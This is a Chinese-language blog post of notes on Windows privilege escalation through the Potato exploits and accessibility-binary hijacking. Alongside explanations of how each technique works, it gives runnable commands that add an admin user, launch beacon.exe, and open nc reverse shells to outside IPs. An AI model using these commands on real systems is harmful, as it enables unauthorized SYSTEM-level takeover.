windows提权笔记

土豆家族

原理可以与域渗透学习(NTLM篇)的内容结合起来看

一般使用 Potato 提权需要下列两个特权中的一个

  • SeImpersonatePrivilege
  • SeAssignPrimaryTokenPrivilege

以下用户拥有SeImpersonatePrivilege权限,而 SeAssignPrimaryTokenPrivilege 只有更高权限的账户比如SYSTEM才有

1
2
3
4
5
- 本地管理员账户(不包括管理员组普通账户)和本地服务帐户
- 由SCM启动的服务
- Local System (NT AUTHORITY\SYSTEM)
- Network Service (NT AUTHORITY\Network Service)
- Local Service (NT AUTHORITY\Local Service)

也就是说平时通过服务(IIS,mssql等)拿下的账户在操作时是一个低权限账户,但是可以通过这个提权方式获得 SYSTEM 权限

Hot Potato(MS16-075)

https://github.com/foxglovesec/Potato
PowerShell 实现:https://github.com/Kevin-Robertson/Tater

原理

原理是利用 NBNS 欺骗、WPAD 代理劫持 和 HTTP→SMB NTLM 中继 实现权限提升,最终以 NT AUTHORITY\SYSTEM 权限执行任意命令

  1. NBNS 欺骗

    • 当系统无法通过 hosts 文件或 DNS 解析域名时,会在本地网络广播 NBNS 查询请求
    • 攻击者伪造 NBNS 响应,将 wpad 主机名指向 127.0.0.1,并通过暴力枚举 TXID(65536 种可能)实现匹配
    • 若系统已有 DNS 缓存记录,可以通过 耗尽 UDP 端口(令每个端口失效)迫使 DNS 查询失败,从而回退到 NBNS
  2. 伪造 WPAD 代理服务器

    • Windows(IE 及部分系统服务,如 Windows Update)默认会尝试访问 http://wpad/wpad.dat 获取 PAC 代理配置
    • 在本地 127.0.0.1 运行 HTTP 服务器并返回恶意 PAC:
    • 该配置将目标上的 HTTP 流量强制经由本地代理(127.0.0.1)
1
2
3
4
function FindProxyForURL(url, host) {
if (dnsDomainIs(host, "localhost")) return "DIRECT";
return "PROXY 127.0.0.1:80";
}
  1. HTTP → SMB NTLM 中继
    • 控制的本地 HTTP 服务器对特定 URL(如http://localhost/GETHASHESxxxxx)返回 401,触发 NTLM 认证
    • 捕获到的 NTLM 凭据被 中继 到本地 SMB 服务,从而创建高权限的系统服务并执行用户定义命令
    • 当发起请求的是高权限(如 windows update 以 SYSTEM 权限运行)时,就完成了提权

利用

Win7 利用 - Windows Defender 更新机制

1
2
3
Potato.exe -ip <local ip> -cmd <command to run> -disable_exhaust true

Potato.exe -ip 192.168.100.177 -cmd "C:\\Windows\\System32\\cmd.exe /k net user test test /add && net localgroup administrators test /add" -disable_exhaust true

Win Server 2008 利用 - Windows Update 机制

1
Potato.exe -ip <local ip> -cmd <command to run> -disable_exhaust true -disable_defender true --spoof_host WPAD.EMC.LOCAL

Windows 8/10/Server 2012 - 自动更新机制,该机会每天下载证书信任列表(CTL)

1
2
3
Potato.exe -ip <local ip> -cmd <cmd to run> -disable_exhaust true -disable_defender true

Potato.exe -ip 192.168.100.150 -cmd "C:\\Windows\\System32\\cmd.exe /k net user test test /add" -disable_exhaust true -disable_defender true

如果网络中已存在 WPAD 的 DNS 条目,可以尝试设置 -disable_exhaust false,这会导致 DNS 查找失败,并回退到 NBNS

Rotten Potato

https://github.com/foxglovesec/RottenPotato
https://github.com/breenmachine/RottenPotatoNG

Rotten Potato 允许攻击者在具备 SeImpersonatePrivilege 权限的情况下,从服务账户提权到 NT AUTHORITY\SYSTEM。与 Hot Potato 相比,它更加可靠、即时触发,并且不依赖 NBNS 或 WPAD 等网络欺骗手段

攻击流程

  1. 诱使 SYSTEM 账户进行 NTLM 身份验证,通过特定 COM 调用,让 SYSTEM 账户向攻击者控制的本地 TCP 端口发起 NTLM 认证
  2. 中继 NTLM 身份验证至本地 RPC,充当中间人,将 SYSTEM 发起的认证过程与本地 API 调用关联,从而生成 SYSTEM 令牌
  3. 模拟 SYSTEM 身份,调用 ImpersonateSecurityContext 使用获取的令牌,执行提权操作

实现细节

  1. 使用 CoGetInstanceFromIStorage 触发 DCOM 认证

Rotten Potato 通过调用 CoGetInstanceFromIStorage API 触发 DCOM 请求。示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void BootstrapComMarshal()
{
IStorage stg = ComUtils.CreateStorage();

// 使用已知的本地系统服务 COM 服务器,这里以 BITSv1 为例
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");

// 指定目标 IP 和端口,这里为本地监听 6666
TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666));

MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;

CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}

此调用会让 COM 尝试从 127.0.0.1:6666 加载对象。由于 DCOM 使用 RPC 协议通信,攻击者在 6666 端口上运行代理程序,接收并转发数据包至本地 RPC 监听端口 135

  1. 中继 RPC 数据包

攻击者充当”中间人”角色:

  • 将 COM 发送到 6666 端口的请求转发到 135 端口
  • 将 RPC 返回的数据作为模板,响应给 COM
  • 通过这种方式避免了复杂的协议重构,并确保在不同 Windows 版本下兼容

在 NTLM 认证开始之前,这些数据包主要用于建立 RPC 会话

  1. NTLM 认证流程
  • Type 1 (Negotiate):客户端(SYSTEM 账户)发起认证请求
  • Type 2 (Challenge):服务端(攻击者代理)返回 Challenge 数据,此时必须修改数据包中的 NTLM Blob,尤其是”Server Challenge”和”Reserved”字段,以匹配通过 AcceptSecurityContext API 调用生成的值(如果不修改,后续认证会失败,因为系统会认为这是 RPC 而非攻击者代理)
  • Type 3 (Authenticate):客户端返回认证数据(此处通常为空),随后攻击者完成本地安全上下文建立

利用

原作者的实现基于meterpreter shell

Rotten Potato - IIS Privilege Escalation
Rotten Potato - MSSQL Privilege Escalation

或者使用上面贴出来的NG版本,不过需要修改 MSFRottenPotato.cpp 文件并重新编译,默认运行后弹出一个 cmd.exe

Lonely Potato 是 Rotten Potato 的改编 webshell 版,不依赖 meterpreter 和 incognito 模块,不过现在已被弃用

Juicy Potato

https://github.com/ohpe/juicy-potato

Juicy Potato 是 Rotten Potato 的改进和增强版,二者都利用了 Windows COM/DCOM 与 RPC 机制进行提权,但 Juicy Potato 针对 Rotten Potato 的局限性进行了突破,使利用方式更加灵活与通用

局限

Rotten Potato 的核心思路是利用 BITS (Background Intelligent Transfer Service) 作为 COM 对象触发高权限 NTLM 认证,再通过本地 relay 实现提权,但它存在两个主要限制:

  1. 依赖单一 CLSID:只能使用 BITS {4991d34b-80a1-4291-83b6-3328366b9097} ,一旦被禁用即失效
  2. 端口固定:Poc 依赖端口 6666,在端口被占用或被安全策略限制时无法利用

改进

Juicy Potato 在 Rotten Potato 的基础上做了两个关键改进:

  1. 支持任意 CLSID

    • 不再局限于 BITS,攻击者可以选择任意满足条件的 COM 对象:
      • 可由当前用户实例化(具备模拟权限的服务用户)
      • 实现 IMarshal 接口
      • 在高权限账户(SYSTEM、Administrator)下运行
    • 研究者整理了可利用的 CLSID 列表:CLSID 列表
  2. 可自定义监听端口

    • 不再固定为 6666,攻击者可指定任意端口,提高了利用灵活性与成功率

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
T:\>JuicyPotato.exe
JuicyPotato v0.1

必选参数:
-t 指定创建进程时使用的 API 调用方式: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 指定要运行的程序路径
-l <port>: COM 服务器监听的本地端口,用于接收高权限服务的 RPC 请求


可选参数:
-m <ip>: COM 服务器监听的 IP 地址 (default 127.0.0.1)
-a <argument>: 传递给 -p 指定程序的参数 (default NULL)
-k <ip>: RPC 服务器的目标 IP 地址 (default 127.0.0.1)
-n <port>: RPC 服务器的端口 (default 135)
-c <{clsid}>: 指定要利用的 COM 对象 CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z 仅用于测试 CLSID,打印获得的 token 所属用户,但不执行命令
1
2
# 2012 上线cs
JuicyPotato.exe -l 1337 -p "C:\Users\Public\beacon.exe" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

批量调用 Juicy Potato,遍历 CLSID,打印获得的 token 所属用户

1
2
3
4
5
6
7
8
9
10
11
12
@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
echo %%i !port!
juicypotato.exe -z -l !port! -c %%i >> result.log
set RET=!ERRORLEVEL!
:: echo !RET!
if "!RET!" == "1" set /a port=port+1
)

Ghost Potato

https://github.com/Ridter/GhostPotato

Ghost Potato (CVE-2019-1384) 利用 NTLM 缓存机制绕过 MS08-068,重新实现本地 NTLM 反射

原理

MS08-068/MS09-13 补丁通过在 InitializeSecurityContext 调用时指定 pszTargetName 来引入 Challenge 缓存,以防止反射
Ghost Potato 的核心是利用缓存过期(300 秒)与触发缓存清理逻辑的时机,延迟发送 Type3,达到绕过效果

  1. 主机 A 访问主机 B 时发起 SMB 认证,pszTargetName 设置为 cifs/B,在 Type2 阶段,主机 A 接收到 B 的 Challenge 并缓存 (Challenge, cifs/B) 至 LSASS
  2. 主机 B 在收到主机 A 的 Type3 后,会检查 LSASS 缓存中是否存在 (Challenge, cifs/B)。若存在,认证失败
  3. 如果 A 与 B 是同一主机,则缓存必然存在,导致认证失败。若为不同主机,则缓存不存在,认证可能成功
  4. 该缓存 300 秒后自动失效。攻击者只需等待 300 秒后再发送 Type3,即可绕过检查完成反射

利用

修改版 ntlmrelayx.py 实现了 Ghost Potato 攻击:
https://shenaniganslabs.io/files/impacket-ghostpotato.zip

1
2
cd impacket-ghostpotato/examples
python3 ntlmrelayx.py -t smb://192.168.100.150 -smb2support --gpotato-startup /root/test/beacon.exe

Responder配合监听

1
responder -I eth0 --lm

使用ie访问触发,经过 315 秒后 beacon.exe 会自动上传文件到 Windows 启动目录

PrintSpoofer (PipePotato or BadPotato)

https://github.com/itm4n/PrintSpoofer

PrintSpoofer 最早在 2020 年 5 月由国外研究员公开,其原理利用打印服务进程 spoolsv.exe 的 RPC 接口进行提权。后续,360 的论文将其称为 PipePotato,而 GitHub 上的国人 POC 则叫 BadPotato

原理

Windows 打印服务(Print Spooler)通过命名管道 \\.\pipe\spoolss 对外提供 RPC 接口,默认启用
其中关键函数为:

1
2
3
4
5
6
7
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
/* [in] */ PRINTER_HANDLE hPrinter,
/* [in] */ DWORD fdwFlags,
/* [in] */ DWORD fdwOptions,
/* [unique][string][in] */ wchar_t *pszLocalMachine,
/* [in] */ DWORD dwPrinterLocal,
/* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)

其中 pszLocalMachine 参数需要传入 UNC 路径(如 \\目标主机\…)

当传入 \\127.0.0.1 时,服务会访问 \\127.0.0.1\pipe\spoolss,但该管道已由 SYSTEM 注册
当传入 \\127.0.0.1\pipe 时,则会触发路径检查报错
若传入 \\127.0.0.1/pipe/foo,路径检查会将 127.0.0.1/pipe/foo 视为主机名

在实际连接时,Windows 会将 / 转换为 \,最终拼接路径为:\\127.0.0.1\pipe\foo\pipe\spoolss
攻击者就可以注册这个 named pipe 从而窃取 client 的 token

利用

在 Windows 10 和 Server 2016/2019 上利用

1.生成一个交互式的shell

1
2
3
4
5
6
7
8
9
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

2.生成system的进程并退出

适用于执行cs的马或者反弹shell的命令

1
2
3
4
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
1
2
3
4
5
6
C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

3.在桌面上生成system进程

1
2
3
4
5
6
7
8
9
10
11
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
>rdp-tcp#3 lab-user 3 Active
rdp-tcp 65536 Listen

C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

RoguePotato

https://github.com/antonioCoco/RoguePotato

RoguePotato 可以看作是 Rotten / Juicy 的绕过,同时也借鉴了 PrintSpoofer 中的命名管道绕过方式

微软修补后,高版本 Windows DCOM 解析器不允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号。为了绕过这个限制并能做本地令牌协商,作者在一台远程主机上的 135 端口做流量转发,将其转回受害者本机端口,并写了一个恶意 RPC OXID 解析器

RPC 协议支持

根据 MS-RPCE 文档,常见 RPC 协议如下:

Transport Protocol sequence string
SMB ncacn_np
TCP/IP (IPv4/IPv6) ncacn_ip_tcp
UDP ncadg_ip_udp
SPX ncacn_spx
IPX ncadg_ipx
NetBIOS over IPX ncacn_nb_ipx
NetBIOS over TCP ncacn_nb_tcp
NetBIOS over NetBEUI ncacn_nb_nb
AppleTalk ncacn_at_dsp
RPC over HTTP ncacn_http

原理

在最初的尝试中,研究者选择了 TCP 协议 (ncacn_ip_tcp)。恶意 OXID Resolver 在 ResolveOxid2 响应中返回 ncacn_ip_tcp:localhost[9998],这样可以触发对本地 RPC 服务器 (IRemUnknown2) 的认证请求。不过,这种方式拿到的仅仅是一个 Identification Token,并不能用来完成提权,因此利用价值有限

随后,研究者借鉴 PrintSpoofer 的思路,尝试通过命名管道 (ncacn_np) 进行利用。如果直接使用 ncacn_np:localhost[\pipe\roguepotato],协议会强制重定向到 epmapper 管道,这样无法达到攻击目的。幸运的是,PrintSpoofer 的研究揭示了命名管道路径校验存在绕过方法:只需在主机名中插入一个 /,路径就会被解析为子目录

因此,构造了如下结构:

1
ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]

这样一来,rpcss 会尝试连接一个并不存在的管道:

1
\\.\pipe\roguepotato\pipe\epmapper

攻击者只需在该管道上进行监听,就能调用 RpcImpersonateClient,成功获取 NETWORK SERVICE Token。更进一步,由于 rpcssRpcEptMapper 服务共享进程空间,攻击者还能够窃取其中的 SYSTEM Token,从而实现最终的权限提升

利用

远程计算机上建立端口转发并监听

1
2
3
socat tcp-listen:135,reuseaddr,fork tcp:192.168.100.126:9999

nc -lvvnp 3001

指定远程计算机并执行反弹shell

1
RoguePotato.exe -r 192.168.100.173 -e "C:\Users\Public\nc64.exe 192.168.100.173 3001 -e cmd.exe" -l 9999 -c {B91D5831-B1BD-4608-8198-D72E155020F7}

SweetPotato

https://github.com/CCob/SweetPotato
https://github.com/uknowsec/SweetPotato

SweetPotato 集成了多种触发 NTLM 认证的方式(COM、WinRM、Spoolsv),相当于 JuicyPotato / PrintSpoofer 的集合版,可用于 Windows 7 至 Windows 10 / Windows Server 2019 的提权

原理

在 Windows 10 1909 测试中,发现 BITS 服务启动时会尝试向本地 WinRM(5985 端口)发起 NTLM 认证,即使系统默认禁用了 WinRM
监听本机 5985 端口可捕获到 NTLM Negotiate 消息,表明 BITS 以 SYSTEM 身份发起认证。

利用思路:通过实现一个伪造的 WinRM 服务端完成 NTLM 的三个Type认证流程,完成后即可通过 AcceptSecurityContext() 与 QuerySecurityContextToken() 获取 SYSTEM Token,并利用 CreateProcessWithTokenW() 或 CreateProcessAsUser() 提升权限

BITS 触发方式

无需复杂的 IStorageInterface 伪造,仅需调用 COM 接口触发 BITS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool triggerBits(void) {
bool status = false;
HRESULT result = -1;
CLSID clsid;
IUnknown* unknown1 = NULL;
CoInitialize(nullptr);
CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid);
result = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&unknown1);
if (result == S_OK) {
status = true;
unknown1->Release();
} else {
printf("CoCreateInstance failed with error 0x%x\n", result);
status = false;
}
CoUninitialize();
return status;
}

注意:调用 Release() 至关重要,否则对象引用计数不减少,BITS 服务无法在超时后退出

限制条件

  • WinRM 必须 禁用(Windows 10 默认禁用,但 Windows Server 默认启用)
  • 需要 Impersonation Privilege(常见于服务账户)
  • BITS 必须未运行(否则需等待当前任务结束)
  • 在部分版本中,BITS 可能尝试访问端口 47001 而非 5985

利用

映像劫持(hijack Image)

在用户尚未登录系统(甚至未输入密码)时,以下这些程序就可以被调用,因此成为了潜在的权限提升入口

1
2
3
4
5
6
7
粘滞键: C:\Windows\System32\Sethc.exe
屏幕键盘: C:\Windows\System32\osk.exe
放大镜: C:\Windows\System32\Magnify.exe
旁白: C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应用切换器: C:\Windows\System32\AtBroker.exe
Windows + U: C:\Windows\System32\utilman.exe

查看注册表权限

1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

注意看AccessToString字段

如果有权限就可以修改注册表,替换文件来提权

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

krbrelayup提权


参考文章

Potato家族本地提权细节
Potato 家族提权学习
内网渗透 – NTLM 反射分析及土豆家族
Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM
We thought they were potatoes but they were beans (from Service Account to SYSTEM again)


windows提权笔记
https://www.dr0n.top/posts/a04618bd/
作者
dr0n
发布于
2024年10月11日
更新于
2025年9月5日
许可协议